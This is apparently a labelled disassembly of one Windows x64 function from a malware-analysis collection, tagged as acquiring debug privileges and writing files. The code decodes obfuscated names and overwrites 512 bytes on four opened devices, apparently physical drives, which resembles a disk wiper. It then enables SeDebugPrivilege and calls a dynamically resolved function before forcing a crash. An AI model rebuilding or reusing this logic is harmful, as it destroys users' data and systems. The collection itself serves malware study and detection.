Function at 0x14003ea00
Capabilities:
Acquire debug privileges
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x1400d8080]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
xor eax, eax
lea rdi, [rbp - 0x40]
xor r15d, r15d
mov ecx, 0x200
rep stosb byte [rdi], al
movabs rax, 0x16a246ed3a00a7ac
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x58], rax
lea r8d, [r15 + 3]
movabs rdi, 0x8185258500a47685
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x50], rdi
lea rcx, [rsp + 0x50]
movdqa xmm0, xmmword [rsp + 0x50]
movabs r12, 0xe0e64cf679cc26ab
movabs r13, 0x1692239b5372e3c0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r13
xor r9d, r9d
pxor xmm0, xmmword [rbp - 0x80]
mov edx, 0x10000000
movdqa xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp - 0x60], rdi
lea r8d, [r15 + 3]
mov r14, rax
mov qword [rsp + 0x30], r15
movabs rax, 0x16a346ed3a00a7ac
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x60]
movdqa xmm0, xmmword [rbp - 0x60]
xor r9d, r9d
mov qword [rbp - 0x78], r13
mov edx, 0x10000000
pxor xmm0, xmmword [rbp - 0x80]
mov dword [rsp + 0x28], r15d
movdqa xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x60], rdi
lea r8d, [r15 + 3]
mov rsi, rax
mov qword [rsp + 0x30], r15
movabs rax, 0x16a046ed3a00a7ac
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x60]
movdqa xmm0, xmmword [rsp + 0x60]
xor r9d, r9d
mov qword [rbp - 0x78], r13
mov edx, 0x10000000
pxor xmm0, xmmword [rbp - 0x80]
mov dword [rsp + 0x28], r15d
movdqa xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x40], rdi
lea r8d, [r15 + 3]
mov rbx, rax
mov qword [rsp + 0x30], r15
movabs rax, 0x16a146ed3a00a7ac
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x40]
movdqa xmm0, xmmword [rsp + 0x40]
xor r9d, r9d
mov qword [rbp - 0x78], r13
mov edx, 0x10000000
pxor xmm0, xmmword [rbp - 0x80]
mov dword [rsp + 0x28], r15d
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x70]
mov r8d, 0x200
lea rdx, [rbp - 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp - 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
movabs rax, 0x8c82629a15a852c5
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
movabs rax, 0x1692239b5372e3ac
mov qword [rbp - 0x78], r13
mov qword [rsp + 0x48], rax
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14003ed9b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x60]
lea edx, [r15 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14003ed10
lea r8, [rbp - 0x60]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x14003ed05
mov rax, qword [rbp - 0x60]
lea r9d, [r15 + 0x10]
mov qword [rsp + 0x28], r15
lea r8, [rbp - 0x80]
xor edx, edx
mov qword [rbp - 0x7c], rax
mov dword [rbp - 0x80], 1
mov dword [rbp - 0x74], 2
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
movabs rcx, 0xaf1b5b49891ff5d2
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x68], rcx
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x48], rcx
movabs rax, 0x92b638932aa052f9
mov qword [rbp - 0x80], rax
mov rcx, rdi
movabs rax, 0x55e16ae8201780af
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x78], rax
movabs rax, 0x1a6391b73e542bef
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp - 0x60]
mov qword [rbp - 0x70], rax
movabs rax, 0x1a0ff0d45720429d
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp - 0x50], rax
pxor xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14003ed9b
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
mov ecx, ntohl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.1400ab020
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret